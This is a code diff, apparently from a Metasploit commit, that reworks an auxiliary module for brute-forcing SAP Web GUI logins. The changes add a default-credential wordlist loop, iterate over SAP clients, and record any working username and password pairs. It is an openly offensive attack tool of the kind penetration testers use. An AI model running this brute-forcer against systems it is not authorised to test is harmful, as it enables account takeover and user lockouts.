@@ -27,30 +27,42 @@ class Metasploit4 < Msf::Auxiliary
27
27
28
28
def initialize
29
29
super (
30
- 'Name' => 'SAP Web GUI Brute Force ' ,
30
+ 'Name' => 'SAP Web GUI Login Brute Forcer ' ,
31
31
'Description' => %q{
32
- SAP Web GUI Brute Force.
33
- } ,
34
- 'References' => [ [ 'URL' , 'http://labs.mwrinfosecurity.com/tools/2012/04/27/sap-metasploit-modules/' ] ] ,
35
- 'Author' => [ 'nmonkee' ] ,
36
- 'License' => BSD_LICENSE
37
- )
38
- register_options ( [
39
- OptString . new ( 'TARGETURI' , [ true , 'URI' , '/' ] ) ,
40
- OptString . new ( 'CLIENT' , [ false , 'Client can be single (066), comma seperated list (000,001,066) or range (000-999)' , '000,001,066' ] ) ,
41
- OptBool . new ( 'DEFAULT_CRED' , [ false , 'Check using the default password and username' , true ] ) ,
42
- OptString . new ( 'USERPASS_FILE' , [ false , '' , nil ] )
32
+ This module attempts to brute force SAP username and passwords through the SAP Web
33
+ GUI service. Default clients can be tested without needing to set a CLIENT. Common
34
+ and default user/password combinations can be tested just setting the DEFAULT_CRED
35
+ variable to true. The MSF_DATA_DIRECTORY/wordlists/sap_default.txt path store
36
+ stores these default combinations.
37
+ } ,
38
+ 'References' =>
39
+ [
40
+ [ 'URL' , 'http://labs.mwrinfosecurity.com/tools/2012/04/27/sap-metasploit-modules/' ]
41
+ ] ,
42
+ 'Author' =>
43
+ [
44
+ 'nmonkee'
45
+ ] ,
46
+ 'License' => MSF_LICENSE
47
+
48
+ )
49
+ register_options (
50
+ [
51
+ Opt ::RPORT ( 8000 ) ,
52
+ OptString . new ( 'TARGETURI' , [ true , 'URI' , '/' ] ) ,
53
+ OptString . new ( 'CLIENT' , [ false , 'Client can be single (066), comma seperated list (000,001,066) or range (000-999)' , '000,001,066' ] ) ,
54
+ OptBool . new ( 'DEFAULT_CRED' , [ false , 'Check using the default password and username' , true ] ) ,
55
+ OptString . new ( 'USERPASS_FILE' , [ false , '' , nil ] )
43
56
] , self . class )
44
- register_autofilter_ports ( [ 80 ] )
45
57
end
46
58
47
59
def run_host ( ip )
48
- uri = datastore [ 'TARGETURI' ]
60
+ uri = target_uri . to_s
49
61
if datastore [ 'CLIENT' ] . nil?
50
62
print_status ( "Using default SAP client list" )
51
63
client = [ '000' , '001' , '066' ]
52
64
else
53
- client = [ ]
65
+ client = [ ]
54
66
if datastore [ 'CLIENT' ] =~ /^\d {3},/
55
67
client = datastore [ 'CLIENT' ] . split ( /,/ )
56
68
print_status ( "Brute forcing clients #{ datastore [ 'CLIENT' ] } " )
@@ -72,20 +84,29 @@ def run_host(ip)
72
84
'Postfix' => "\n " ,
73
85
'Indent' => 1 ,
74
86
'Columns' => [ "host" , "port" , "client" , "user" , "pass" ] )
75
- if datastore [ 'USERPASS_FILE' ]
76
- credentials = extract_word_pair ( datastore [ 'USERPASS_FILE' ] )
77
- credentials . each do |u , p |
87
+
88
+
89
+ if datastore [ 'DEFAULT_CRED' ]
90
+ credentials = extract_word_pair ( Msf ::Config . data_directory + '/wordlists/sap_default.txt' )
91
+ credentials . each do |u , p |
78
92
client . each do |cli |
79
- success = bruteforce ( uri , u , p , cli )
80
- if success == true
81
- saptbl << [ ip , rport , cli , u , p ]
93
+ success = bruteforce ( uri , u , p , cli )
94
+ if success
95
+ saptbl << [ rhost , rport , cli , u , p ]
82
96
end
83
97
end
84
98
end
85
- else
86
- datastore [ 'USERPASS_FILE' ] = Msf ::Config . data_directory + '/wordlists/sap_default.txt'
99
+ end
100
+ each_user_pass do |u , p |
101
+ client . each do |cli |
102
+ success = bruteforce ( uri , u , p , cli )
103
+ if success
104
+ saptbl << [ rhost , rport , cli , u , p ]
105
+ end
106
+ end
87
107
end
88
108
print ( saptbl . to_s )
109
+
89
110
end
90
111
91
112
def bruteforce ( uri , user , pass , cli )
@@ -110,23 +131,43 @@ def bruteforce(uri,user,pass,cli)
110
131
}
111
132
} )
112
133
rescue ::Rex ::ConnectionError , Errno ::ECONNREFUSED , Errno ::ETIMEDOUT
113
- print_error ( "[SAP] #{ ip } :#{ rport } - Service failed to respond" )
134
+ print_error ( "[SAP] #{ rhost } :#{ rport } - Service failed to respond" )
114
135
return false
115
136
end
116
137
117
138
if res and res . code == 302
139
+ report_auth_info (
140
+ :host => rhost ,
141
+ :port => rport ,
142
+ :sname => "sap_webgui" ,
143
+ :proto => "tcp" ,
144
+ :user => "#{ user } " ,
145
+ :pass => "#{ pass } " ,
146
+ :proof => "SAP Client: #{ cli } " ,
147
+ :active => true
148
+ )
118
149
return true
119
150
elsif res and res . code == 200
120
151
if res . body =~ /log on again/
121
152
return false
122
153
elsif res . body =~ /<title>Change Password - SAP Web Application Server<\/ title>/
154
+ report_auth_info (
155
+ :host => rhost ,
156
+ :port => rport ,
157
+ :sname => "sap_webgui" ,
158
+ :proto => "tcp" ,
159
+ :user => "#{ user } " ,
160
+ :pass => "#{ pass } " ,
161
+ :proof => "SAP Client: #{ cli } " ,
162
+ :active => true
163
+ )
123
164
return true
124
165
elsif res . body =~ /Password logon no longer possible - too many failed attempts/
125
- print_error ( "[SAP] #{ ip } :#{ rport } - #{ user } locked in client #{ cli } " )
166
+ print_error ( "[SAP] #{ rhost } :#{ rport } - #{ user } locked in client #{ cli } " )
126
167
return false
127
168
end
128
169
else
129
- print_error ( "[SAP] #{ ip } :#{ rport } - error trying #{ user } /#{ pass } against client #{ cli } " )
170
+ print_error ( "[SAP] #{ rhost } :#{ rport } - error trying #{ user } /#{ pass } against client #{ cli } " )
130
171
return false
131
172
end
132
173
end
0 commit comments